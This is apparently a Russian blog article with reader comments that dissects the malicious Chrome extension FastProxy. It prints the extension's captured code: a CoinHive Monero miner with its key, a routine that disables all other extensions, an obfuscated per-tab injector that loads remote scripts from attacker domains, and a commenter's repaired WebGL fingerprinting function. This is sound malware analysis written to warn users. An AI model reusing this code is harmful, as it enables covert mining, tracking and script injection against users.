«Вирусы» в расширениях на примере FastProxy

    В этой статье я покажу насколько опасны могут быть расширения в хроме, и чем
    расширения в фаерфоксе безопаснее.


    Речь пойдёт о расширении FastProxy.
    Ни в коем случае не ставьте его в чистом виде в хроме.


    Чтобы получить его исходный код — сначала надо поставить другое расширение Chrome extension source viewer.


    После этого открыть страницу.


    Иконка CRX при этом станет жётлой — кликнуть на неё и Выбрать "скачать как zip".


    Теперь к анализу кода.


    1. Manifest (manifest.json) — ядро любого расширения


    Ограничения расширения задаются CSP (content security policy) и permissions:


    "content_security_policy": "script-src 'self' 'unsafe-eval' https://ssl.google-analytics.com; object-src 'self'",
    "permissions": [ "proxy", "tabs", "webRequest", "webRequestBlocking", "management", "\u003Call_urls>", "storage" ],

    CSP должна сразу насторожить, она позволяет unsafe-eval (подробнее об этом здесь).
    Т.е. исполнять код из любой переданной строки.


    • Разрешение management позволяет управлять другмии расширениями.
    • Разрешение webRequestBlocking позволяет подменять абсолютно все запросы, проходящие через браузер.
    • Разрешение \u003Call_urls> это тоже самое что <all_urls> — позволяет действовать на любом сайте.

    Подробнее о разрешениях можно узнать здесь.


    Т.е. на базе лишь одного файла манифеста расширение уже имеет огромный уровень доступа ко всему.


    Ключевые файлы кода перечислены в


    "background": {
    "scripts": [ "lib.js", "jquery.min.js", "background.js", "ga.js" ]
    },

    Выполняются по порядку в массиве сразу после установки расширения или сразу после запуска браузера.




    2. Анализ файлов фонового процесса


    Код минимифирован и запутан. Для распутывания будем использовать сайт http://jsbeautifier.org/ с дефолтными настройками.


    • Файл jquery.min.js я сравнил с оригинальным кодом jquery 2.2.4 — они совпадают.
    • Файл ga.js это просто код Google Analytics.
    • Файл lib.js это CryptoJS.
    • Основной код сосредоточен в background.js.

    Чтобы было намного легче читать код, я его немного переписал (переименовал функции, поменял запятые на отдельные блоки и т.п.).
    Также можно использовать firefox-версию того же расширения, чтобы понять неосновную часть кода.
    Использование proxy в фаерфоксе и хроме кардинально отличается.


    Чтобы скачать firefox-версию расширения, нужно открыть в фаерфоксе ссылку.
    Скопировать ссылку на "Добавить в Firefox" и открыть её в хроме.
    Открывать также как zip-архив.


    Переписанный код можно найти по этой ссылке.




    3. Анализ background.js


    Прежде всего нужно понимать что $.ajax выполненный на файле со скриптом внедряет этот скрипт в страницу (в данном случае не в страницу, а в фоновый процесс).


    Настораживают строки


    localStorage.C = JSON.stringify(
        [
            "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", 
            "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ=="
        ]
    );

    Они уже как бы говорят нам, что дело тут не чисто.


    Добавляем console.log после CryptoJS.AES.decrypt( JSON.parse( localStorage.C)[cc], "config") и CryptoJS.AES.decrypt( JSON.parse(localStorage.P)[pc], "record"), запрещая выполнение самих аяксов.


    При этом в строке JSON.parse( localStorage.C)[cc] (и аналогичной для record) cc меняем от 0 до 1 (в дальнейшем и до 2, когда увидим массивы из 3 элементов).


    Получаем ссылки:
    для config это


    http://proxyrus.ru/proxy/config/config.txt?uid=1534767152937&version=5.0.4 (1)
    http://proxy-fast.ru/proxy/config/config.txt?uid=1534767152937&version=5.0.4 (2)

    для record это


    http://proxyrus.ru/proxy/config/data.txt?uid=1534767152937&version=5.0.4 (3)
    http://proxy-fast.ru/proxy/config/data.txt?uid=1534767152937&version=5.0.4 (4)

    Причём ссылки отдают данные только при использовании с обоими параметрами uid и version, а также только через $.ajax или fetch. Посмотреть просто открыв через браузер не получится — видимо стоят проверки на входящие заголовки.


    А теперь перейдём к тому, что отдают эти аяксы. Если вы хотите прочитать их сами, лучше используйте просто fetch в каком-то ином проекте (потребуется поставить расширения, которые разблокируют CORS в браузере).


    config_proxyrus.ru.js


    Итак, первая ссылка отдает нам скрипт, который будет автоматически внедрён в фоновый процесс, т.к. 'unsafe-eval' присутствует, а ограничений по ссылкам нет в CSP.


    Стоит отметить строку


    function antiZapret (tabId, changeInfo, tab) {
    if (typeof(tab.url) != 'undefined' && changeInfo.status == 'complete') {
        chrome.tabs.executeScript(tabId,{code: "if (document.body.innerText.indexOf('Антизапрет: ОШИБКА') != -1) document.body.innerHTML =  '<center style=\"margin-top: 50px; font-size:20px;\">Сайт временно не работает.<br><br>Повторите запрос позже.</center>'",runAt:"document_start"});
    }

    Вбиваем в поиске "антизапрет fastproxy" и открываем 4й результат поиска, раздел "Будьте осторожны".
    Выясняется, что FastProxy использует не свои proxy сервера.


    config_proxy-fast.ru.js


    Вторая ссылка дает код аналогичный первой, но скрипт уже другой!


    function closeWindow () {
        const time = 500;
    
        // Повторять каждые полсекунды
        setInterval(function() {
            // Взять текущий выбранный таб
            chrome.tabs.getSelected(null, function (details) {
    
            // если у него нет id - закрыть
            if (details.id == -1)
                window.close();
            })
        }, time);
    }
    closeWindow();

    Обычно у всех табов есть id. Исключение составляет таб-окно консоли браузера. Т.е. это защита от подсматривания через консоль.


    Также этот файл содержит новые урлы, расшифруем их, используя CryptoJS.AES.decrypt( value, "config").toString(CryptoJS.enc.Utf8) и CryptoJS.AES.decrypt( value, "record").toString(CryptoJS.enc.Utf8).
    Первые 2 ссылки совпадают с предыдущими. Но третья отличается:


    http://fastproxy.ga/proxy/config/config.txt

    Для 'record' же все 3 ссылки новые.


    http://proxyrus.ru/proxy/config/data_ru.txt
    http://proxy-fast.ru/proxy/config/data_ru.txt
    http://fastproxy.ga/proxy/config/data_ru.txt

    config_fastproxy.ga.js


    По факту не отличается от config_proxy-fast.ru.js


    Вернёмся к config_proxyrus.ru.js


    Код также содержит закрытие консоли. Дальше начинается уже интересное.


    Строка


    var ext_id = chrome.app.getDetails().id;

    достает идентификатор расширения, причём это недокументированная возможность.
    Текущая документация использует иной метод
    Далее идёт разветвление:


    if (ext_id == 'beopoifhaiidibmihoignfdkkbmjipha' || ext_id == 'fcdjcppkancjbpdhemdjhebpomdobibe' || ext_id == 'ofgklcpjmjllneddlbdagcfjejijgddf' || ext_id == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || ext_id == 'gmepkmkiaabodlcacffkfcebpmoignmn') {
        localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]);
        localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]);
        chrome.runtime.reload(); // полная перезагрузка расширения
    }
    else {
        localStorage.C = JSON.stringify([
            "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==",
            "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==",
            "U2FsdGVkX19KHybcO9+ekVU/z2EbOWZdK42M6O3fdj30yg8Eb/uK2bpDbUCX/GAbhgMzvjOoGx7yBIpbGICjkA==",
        ]);
    
        localStorage.P = JSON.stringify([
            "U2FsdGVkX1/VY0dOqAXKTY3QGegKeto9s/+UEFgoHQKH6MIbSWJBHk0q4BcEP33AJ6WmoPXpnuVJqlC1Hcg32g==",
            "U2FsdGVkX18iHLmS1gYYFtaRIMMGzvXxkz3y41PdqzDR3CylKy5G/yV3Xoc2SJIBWmxiiDuJVdDBHsPhOhsSpA==",
            "U2FsdGVkX1/JndUDO1bR2np5RROkl1IF4EDQ1BMjjtLumYu6HXCxTWahndHXFKA9IeRfBtFfcdHL1J/NjI+KBA==",
        ]);
    }

    Те же три ссылки в случае если ext_id не попадает в нужный список расширений.
    И одна новая ссылка, если попадает в список расширений + полная перезагрузка расширения.


    Если кому удастся найти, что это были за расширения — напишите в комментариях. С текущим id FastProxy совпадений нет. Поиск через google store не дает ничего по их идентификаторам.


    Расшифровка ссылок


    localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]);
    localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]);

    дает


    http://prowebdom.ru/update/test/proxy/config/config_ru.js
    http://prowebdom.ru/update/test/proxy/config/data_ru.pac
    которые могут быть открыты прямо в браузере.

    config_prowebdom.ru.js


    Снова закрытие консоли. А дальше уже самое интересное.


    var coin = $.get("https://coinhive.com/lib/coinhive.min.js");
    coin.done(() => {   
        var miner = new CoinHive.User('aUvlRg4eSsDf6wcFmMZPjQ57JDUUR3IR', 'FPR', {autoThreads: true});
        miner.start();
    })

    ^ Запуск майнера Monero. Запомните кстати кошелёк, если увидите где-то в коде аналогичный — это те же люди.


    function removeAdBlockExtensions () {
        window.chrome.management.getAll((extensions) => {
            extensions.forEach((e) => {
                if (e.enabled && e.id != window.chrome.runtime.id) {
                    window.chrome.management.setEnabled(e.id, false);
                }
            });
        });
    }
    removeAdBlockExtensions();

    Этот код отключает все расширения, кроме него самого.
    Если бы не было разрешения managament, это было бы не возможно.


    Далее


    chrome.tabs.onUpdated.addListener(onUpdatedListenerSearch);

    и


    function onUpdatedListenerSearch(tabId, changeInfo, tab) {
        if (typeof(tab.url) != 'undefined') {
    
            var ext_id = chrome.app.getDetails().id;
            if (ext_id != 'mkelkmkgljeohnaeehnnkmdpocfmkmmf') {
                if (tab.url.indexOf('google') == -1) {
                    // в каждый таб внедряется скрипт после полной загрузки страницы в этом табе
                    chrome.tabs.executeScript(tabId, {code:"!function(){var b={a3759370402:'30022',a1072190280:'{subid}',a2302729239:JSON.parse('[\"7a72793462736f702e7275\",\"746b636d36686a762e7275\"]')},c=function(h,j,k){for(var l=[].slice.call(k),m=h.split('.'),p=m.pop(),q=0;q<m.length;q++)j=j[m[q]];return j[p].apply(j,l)},d=function(h){if(!(h=h.match(/.{1,2}/g)))return'';for(var j='',k=0;k<h.length;k++)j+=c('fromCharCode',String,[parseInt(h[k],16)]);return j},f=function(h,j,k){if('undefined'==typeof a2690641770||!a2690641770(document.location.protocol+'//'+h))if(document.head){var l=document.createElement('script');l.setAttribute('src',document.location.protocol+'//'+h),l.setAttribute('type','text/javascript'),document.head.appendChild(l),l.onload=function(){this.a982392846||(this.a982392846=!0,'function'==typeof j&&j())},l.onerror=function(){this.a982392846||(this.a982392846=!0,l.parentNode.removeChild(l),'function'==typeof k&&k())}}else setTimeout(function(){f(h,j,k)},10)},g=function(h){if(!(0>=b.a3759370402||0>b.a1072190280)){var j=h||b.a2302729239[0],k=d(j)+'/'+['d6s','afu','ndj','enk','6af'].join('')+'/'+b.a3759370402+'_'+b.a1072190280+'.js';f(k,function(){},function(){var l=b.a2302729239.indexOf(j),m=b.a2302729239[l+1];m&&g(m)})}};b.a3759370402=parseInt(b.a3759370402)||0,b.a1072190280=parseInt(b.a1072190280)||0,g()}();/* k */", runAt: 'document_end'}, callback);
                }
            }
        }
    }

    tabs.onUpdated запускает колбэк при обновлении одной из стадий загрузки таба на другую. Подробнее тут.
    Проще говоря действует на каждый таб.


    if (ext_id != 'mkelkmkgljeohnaeehnnkmdpocfmkmmf')

    Кроме FastProxy самого. Видимо была серия нескольких расширений, которые работали как вирусы.


    if (tab.url.indexOf('google') == -1) {

    Все урлы, кроме тех, что содержит строку google. Видимо потому, что табы с гугл временные. Истиная причина мне не понятна.


    И самое страшное — в каждый таб внедряется скрипт после полной загрузки страницы в этом табе:


    script1.js


    Прогняем его через JS beautifier.


    script2.js


    Игры с символами можно опустить благодаря console.log.
    Самое опасное начинается там где создается тег script.
    var l = document.createElement('script');


    Меня интересует в первую очередь либо его innerHTML либо src.


    l.setAttribute('src', document.location.protocol + '//' + h)

    Левая часть понятна — протокол текущей страницы. Правая же часть это фактическая ссылка. Поставим туда console.log


    Получаем


    zry4bsop.ru/d6safundjenk6af/30022_0.js

    script3.js


    Аналогично прогоняем через JS beautifier


    script4.js


    Принцип файла такой же — самая опасная часть это добавление скрипта.


    var e = document.createElement("script");
    e.setAttribute("src", document.location.protocol + "//" + t);

    Получаем


    zry4bsop.ru/d6safundjenk6af/30022_0/c_646576656c6f7065722e6d6f7a696c6c612e6f7267_0.js
    если запускать на сайте MDN

    На productforums.google.com же


    zry4bsop.ru/d6safundjenk6af/30022_0/c_70726f64756374666f72756d732e676f6f676c652e636f6d_0.js

    Выходит правая часть к чему-то привязана


    Смотрим по коду


    document.location.hostname ? document.location.hostname : document.location.toString().split("/")[2]

    упоминается в самовызывающейся функции f
    затем f упоминается в


    var n = o(i[t]) + "/" + ["d6s", "afu", "ndj", "enk", "6af"].join('') + "/" + a + "/c_" + f + "_" + c + ".js";

    Т.е. через символьные операции в скрипт передаётся посещаемый URL.
    Смотрим на сам код скриптов, они совпадают.


    script5.js


    Опять прогоняем через JS beautifier.


    script6.js


    Не переписывая код, можно посмотреть на добавления узлов, создание скриптов, замену кук,
    создание элементов с нуля, аяксы. Но довольно сложно понять что происходит на самом деле.
    Так что попытаемся переименовать эти нумерованные функции.


    script7.js


    Распутывание этого файла было тяжелым. Тяжелее всего проходить через постоянные создания объектов, которые создают объекты, которые создают объекты… А также тяжело было найти чистые функции чтобы начать распутывать клубок.


    Мне не удалось до конца распутать код. Но то, что распутал дает следующее:


    Сборка полного отпечатка о пользователе, которая затем конвертируется в уникальную строку через серию битовых операций.
    Этот отпечаток включает в себя:


    • UserAgent
    • Сведения об установленных плагинах (для IE особенно). Особо тут стоит упомянуть строку про Palemoon. Дело в том, что Palemoon позволяет использовать Java.
    • Сведения об используемом процессоре
    • Сведения об установленных шрифтах (функция getFontData). Причём по коду заложена возможность использовать расширенный список шрифтов, помимо системного. Но используется только системный
    • Уникальный отпечаток по canvas (функция get2dCanvasFingerprint). Учитывая что он использует несколько нестандартных символов есть проверка на наличие установленных языков в системе.
    • Уникальный отпечаток по webgl (функция getWebglFingerprint)
    • Проверка фальшивости поставляемых navigator данных (функция hasFalseBrowser). Особенно в этом плане интересно использование eval.toString(), чтобы понять что за браузер используется на самом деле. Никогда бы об этом не догадался.

    Есть функция, которая запускает XMLHttpRequest. Но она не используется в коде и не запускается при запуске скрипта.


    Есть функция, которая внедряет флеш на страницу, но по факту она не используется.


    Особо посмотрите коды сбора отпечатков canvas / webgl.


    Есть внедрение айфрейма на страницу (метод appendBadIframe1).
    Теперь посмотрим что находится в этом айфрейме.


    iframe1


    Прогоняем через JS beautifier.


    iframe2


    По коду это обменник информацией с основным скриптом. Если основной скрипт это по большей части битовые операции, то айфрейм это прогоны через вычисляемые свойства объектов. Используя window.postMessage они обменваются сообщениями между собой.


    Вернёмся к script7.js


    Исполнение файла создает 6 запросов XHR (причём через создание Img), а также при клике на страницу открывается новое окно.
    Расшифрованные ссылки для запросов можно найти в коде.


    Вернёмся к расширению


    Вернёмся к расширению и ссылкам record. Эти ссылки используются как PAC-файл для метода chrome.proxy.settings.set.
    Коды файлов можно найти тут:


    https://github.com/lawlietmester/fastproxy_article/blob/master/pac_fastproxy.ga.js
    https://github.com/lawlietmester/fastproxy_article/blob/master/pac_prowebdom.ru.js
    https://github.com/lawlietmester/fastproxy_article/blob/master/pac_proxy-fast.ru.js
    https://github.com/lawlietmester/fastproxy_article/blob/master/pac_proxyrus.ru.js

    Общая суть файлов — на заблокированные домены и айпи повесить доступ через прокси, а на прочее DIRECT, т.е. доступ без прокси.
    Отличается набор серверов и набор заблокированных доменов/айпи.
    Разберёмся чьи сервера помимо Автозапрета (antizapret.prostovpn.org) использует FastProxy.
    Вбиваем postls.com в поиск. Открываем первую ссылку.


    To block the Browsec extension, you will need to create a VPM rule which will block destination URL IP/host name
    browsec.com
    postlm.com
    postls.com

    Т.е. FastProxy использует сервера Антизапрета и Browsec, не имея своих собственых серверов.




    4. Про потенциал расширения


    При помощи разрешения webrequest + webrequestBlocking можно поменять абсолютно любой запрос, включая внутренние запросы внутри самого хрома.
    Т.е. можно полностью поменять HTML-страницы, можно убрать мешающие заголовки в запросах, включая CSP (content security policy) сайта.
    При помощи своего прокси можно слить весь траффик пользовтаеля, который идёт через свой прокси.




    5. Про политику расширений Google и Mozilla


    Политика гугла значительно мягче чем политика мозиллы, они публикуют практически всё.
    У мозиллы есть жёсткие требования: unsafe-eval запрещён, запутывание кода запрещено (разрешено, если предоставите полный сборщик).
    Также мозилла сама периодически смотрит коды расширений, но не сразу после публикации.
    Побробнее можно прочитать здесь и здесь.
    По этой причине ставить новые расширения фаерфокса намного спокойней чем расширения хрома.




    6. Что нового я узнал в коде:


    navigator отдает нереально много уникальных данных о браузере, нежели это было в прошлом. И скорей всего будет отдавать ещё больше в будущем.


    eval.toString, также как и иные нативные функции позволят вычислить настоящую версию браузера.


    Уникальный отпечаток по canvas и webgl.




    7. Вопросы к читателям


    Если кто-то работал с webgl, расскажите пожалуйста что делает функция getWebglFingerprint. И что там получается уникального?




    Все исходники можно найти тут

    Поделиться публикацией

    Комментарии 18

      0
      А в Firefox-то откуда отличия? Тот же webext, те же permissions «webRequest», «webRequestBlocking», доступ ко всем URL, если разрешить…
      Просто совсем уж злую версию через мозилловскую модерацию не смогли пропихнуть?

      Но да — стОит помнить, насколько много возможностей есть у расширений. Проверять их разрешения, стараться не ставить разрешения от неизвестных разработчиков (а если ставить — то только с минимальными permissions).
        0
        Просто совсем уж злую версию через мозилловскую модерацию не смогли пропихнуть?

        да и там невозможно unsafe-eval, насколько помню даже unsafe-inline для script-src поставить — просто заблокирует сама форма.


        Ну и на фоне хромовской версии, фаерфокс версия вообще полностью безопасна.


        Чтобы популярное расширение в фаерфоксе могло обрести вирус, оно должно пройти путь Stylish — сначала популярное и чистое, потом плавно всё больше прав и закончилось тем, что они сливали всю историю у юзера.

          0
          Теме не менее, если Firefox-версия делает что-то нехорошее, можно закинуть эту информацию изданиям типа ghacks.net, они такое любят.
            0
            Можно написать напрямую в чат проверяющих или разработчиков расширений FF, чтобы они «вне очереди» проверили — без проблем проверяют.
            +4
            Может быть она и безопасно, но совершенно нагло при включенном FastProxy в FF61.0.2 прицельно прикрывает именно эту статью Хабра грубо слепленной «заглушкой»:

            image
              +4
              В статье есть строка «Антизапрет: ОШИБКА» (в примере кода, который ищет эту строку), которую расширение принимает за страницу ошибки открытия сайта через прокси-сервер. Расширение скрывает эту страницу, т.к. на ней написано, что FastProxy — вредоносное расширение.
          +1
          Функция getWebglFingerprint, очевидно, выдаёт контекст WebGL. Примерно то же самое можно посмотреть в виде таблицы здесь. Конечно, сама по себе вся эта информация не является уникальной. Однако, в совокупности с другими данными степень уникальности может быть весьма высокой. Посмотреть как вы выглядите для типичного скрипта-шпиона, и насколько уникальны те или иные характеристики вашего браузера можно тут. После проверки надо нажать «Show full results for fingerprinting», чтобы посмотреть подробности.
          З.Ы. Код функции getWebglFingerprint в скрипте script7.js содержит явные ошибки. Всякие незакрытые скобки и тому подобное.
          Вот исправленная версия:
          let getWebglFingerprint = () => {
          	var a;
          	var e = function(e) {
          		a.clearColor(0, 0, 0, 1); 
          		a.enable(a.DEPTH_TEST); 
          		a.depthFunc(a.LEQUAL);
          		a.clear(a.COLOR_BUFFER_BIT | a.DEPTH_BUFFER_BIT);
          		
          		return '[' + e[0] + ', ' + e[1] + ']';
          	};
          	a = getWebglContext();
          	if ( !a ) return null;
          	
          	var t = [];
          	var i = a.createBuffer();
          	
          	a.bindBuffer(a.ARRAY_BUFFER, i);
          	
          	var n = new Float32Array([-.2, -.9, 0, .4, -.26, 0, 0, .732134444, 0]);
          	a.bufferData(a.ARRAY_BUFFER, n, a.STATIC_DRAW); 
          	i.itemSize = 3; 
          	i.numItems = 3;
          	
          	var r = a.createProgram();
          	var o = a.createShader(a.VERTEX_SHADER);
          	a.shaderSource(o, "attribute vec2 attrVertex;varying vec2 varyinTexCoordinate;uniform vec2 uniformOffset;void main(){varyinTexCoordinate=attrVertex+uniformOffset;gl_Position=vec4(attrVertex,0,1);}"); 
          	a.compileShader(o);
          	
          	var s = a.createShader(a.FRAGMENT_SHADER);
          	a.shaderSource(s, "precision mediump float;varying vec2 varyinTexCoordinate;void main() {gl_FragColor=vec4(varyinTexCoordinate,0,1);}"); 
          	a.compileShader(s); 
          	a.attachShader(r, o); 
          	a.attachShader(r, s); 
          	a.linkProgram(r); 
          	a.useProgram(r); 
          	r.vertexPosAttrib = a.getAttribLocation(r, 'attrVertex'); 
          	r.offsetUniform = a.getUniformLocation(r, 'uniformOffset'); 
          	a.enableVertexAttribArray(r.vertexPosArray); 
          	a.vertexAttribPointer(r.vertexPosAttrib, i.itemSize, a.FLOAT, false, 0, 0); 
          	a.uniform2f(r.offsetUniform, 1, 1); 
          	a.drawArrays(a.TRIANGLE_STRIP, 0, i.numItems);
          	try {
          		t.push(a.canvas.toDataURL())
          	} catch (a) {}
          	t.push('extensions:' + (a.getSupportedExtensions() || []).join(';')); 
          	t.push('webgl aliased line width range:' + e(a.getParameter(a.ALIASED_LINE_WIDTH_RANGE))); 
          	t.push('webgl aliased point size range:' + e(a.getParameter(a.ALIASED_POINT_SIZE_RANGE))); 
          	t.push('webgl alpha bits:' + a.getParameter(a.ALPHA_BITS)); 
          	t.push('webgl antialiasing:' + (a.getContextAttributes().antialias ? 'yes' : 'no')); 
          	t.push('webgl blue bits:' + a.getParameter(a.BLUE_BITS)); 
          	t.push('webgl depth bits:' + a.getParameter(a.DEPTH_BITS)); 
          	t.push('webgl green bits:' + a.getParameter(a.GREEN_BITS)); 
          	t.push('webgl max anisotropy:' + function(a) {
          			var e = 
          				a.getExtension('EXT_texture_filter_anisotropic') || 
          				a.getExtension('WEBKIT_EXT_texture_filter_anisotropic') || 
          				a.getExtension('MOZ_EXT_texture_filter_anisotropic');
          			if (e) {
          					var t = a.getParameter(e.MAX_TEXTURE_MAX_ANISOTROPY_EXT);
          					return 0 === t && (t = 2), t
          			}
          			return null
          	}(a)), 
          	t.push('webgl max combined texture image units:' + a.getParameter(a.MAX_COMBINED_TEXTURE_IMAGE_UNITS));
          	t.push('webgl max cube map texture size:' + a.getParameter(a.MAX_CUBE_MAP_TEXTURE_SIZE));
          	t.push('webgl max fragment uniform vectors:' + a.getParameter(a.MAX_FRAGMENT_UNIFORM_VECTORS));
          	t.push('webgl max render buffer size:' + a.getParameter(a.MAX_RENDERBUFFER_SIZE));
          	t.push('webgl max texture image units:' + a.getParameter(a.MAX_TEXTURE_IMAGE_UNITS));
          	t.push('webgl max texture size:' + a.getParameter(a.MAX_TEXTURE_SIZE));
          	t.push('webgl max varying vectors:' + a.getParameter(a.MAX_VARYING_VECTORS));
          	t.push('webgl max vertex attribs:' + a.getParameter(a.MAX_VERTEX_ATTRIBS));
          	t.push('webgl max vertex texture image units:' + a.getParameter(a.MAX_VERTEX_TEXTURE_IMAGE_UNITS));
          	t.push('webgl max vertex uniform vectors:' + a.getParameter(a.MAX_VERTEX_UNIFORM_VECTORS));
          	t.push('webgl max viewport dims:' + e(a.getParameter(a.MAX_VIEWPORT_DIMS)));
          	t.push('webgl red bits:' + a.getParameter(a.RED_BITS));
          	t.push('webgl renderer:' + a.getParameter(a.RENDERER));
          	t.push('webgl shading language version:' + a.getParameter(a.SHADING_LANGUAGE_VERSION));
          	t.push('webgl stencil bits:' + a.getParameter(a.STENCIL_BITS));
          	t.push('webgl vendor:' + a.getParameter(a.VENDOR));
          	t.push('webgl version:' + a.getParameter(a.VERSION));
          	
          	try {
          		var l = a.getExtension('WEBGL_debug_renderer_info');
          		l && t.push('webgl unmasked vendor:' + a.getParameter(l.UNMASKED_VENDOR_WEBGL)); 
          		t.push('webgl unmasked renderer:' + a.getParameter(l.UNMASKED_RENDERER_WEBGL));
          	} catch (a) {}
          	if (!a.getShaderPrecisionFormat) return t.join('~');
          	
          	['FLOAT', 'INT'].forEach( e => {
          		['VERTEX', 'FRAGMENT'].forEach( i => {
          			['HIGH', 'MEDIUM', 'LOW'].forEach( n => {
          				['precision', 'rangeMin', 'rangeMax'].forEach( r => {
          					var o = a.getShaderPrecisionFormat(a[i + '_SHADER'],
          					a[n + '_' + e])[ r ];
          					if( 'precision' !== r ) r = 'precision ' + r;
          					var s = ['webgl ', i.toLowerCase(), ' shader ', n.toLowerCase(), ' ', e.toLowerCase(), ' ', r, ':', o];
          					
          					t.push(s.join(''))
          				});
          			});
          		});
          	});
          	
          	return t.join('~');
          };
          

            +4
            Заходим сюда, жмем «сообщить о нарушении», выбираем «Вредоносное приложение или расширение», пишем по-английски, что приложение загружает произвольный Javascript-код со сторонних сайтов, в зависимости от идентификатора компьютера.
            Я делал трижды — особой реакции не последовало, но если это сделают десятки и сотни людей, скорее всего, расширение автоматически заблокируется.
            Также можно написать в отзывы, что расширение содержит вредоносный код, лучше всего отвечать на какой-то существующий отзыв (предполагаю, что так его не может удалить автор).

            rutracker.org/forum/viewtopic.php?p=75284577#75284577
            Пользователи FastProxy около полугода периодчески видят ошибки открытия сайтов через прокси-серверы антизапрета, в котором говорится, что FastProxy — вредоносное расширение.
              0
              Оно то здорово, но таким образом мы спровоцируем смену названия и иконки приложения без смены содержимого. А так хотя бы будем знать, что вот именно этот зверь опасен.
              Хотел пожаловаться, но передумал. Очевидно, стоит задумываться об использовании хрома.
              0
              Печальная новость, что FastProxy является вредоносным расширением. С точки зрения своего основного полезного функционала оно абсолютно меня устраивало и я не заметил утечек ресурсов при его работе. Может кто-то посоветует альтернативное хорошее расширение для Chrome с аналогичным функционалом?
              0
              Я вообще не понимаю людей, которые ставят все расширения подряд. Вы что, не знали. что расширения могут собирать данные о вас и подменять содержимое страниц? Можно ставить только расширения от авторов, которых вы хорошо знаете и которым доверяете.
                +1
                >авторов, которых вы хорошо знаете и которым доверяете

                Т.е. никакие расширения не ставить? :)
                  0
                  Только написанные лично.
                    0
                    Лучше начать с написания своего браузера! А то Хромиуму с Фаерфоксами доверия нет. Про Хром и остальные молчу.
                0
                А почему, собственно, браузеры не реализуют популярные плагины в виде встроенных функций программы? Вот стал, для примера, µBlock популярным — включите его в браузер, заодно переписав на низкоуровневом языке с оптимизациями. Разработчикам браузера я доверяю больше, чем авторам дополнений. И проблем с перепродажей и сменой владельцев не будет.

                Понимаю, не всегда это возможно: собственный пул proxy серверов содержать накладно (и не профильно), или какая-то финтифлюшка нужна узкой группе пользователей. Но хотя бы массовых факапов с выявленными троянам можно было бы избежать.
                  0
                  У PaleMoon один из сотрудников занят тем, что переписывает расширения под их апи
                    +1
                    Chrome не будет блокировать рекламу, это же Google, он зарабатывает на рекламе.
                    Скорее, наоборот, заблокирует адблоки.
                    Собственно, он уже это сделал на примере Ad Nauseam (форк uBlock Origin), который признали вредоносным расширением, хотя это не так.

                  Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                  Самое читаемое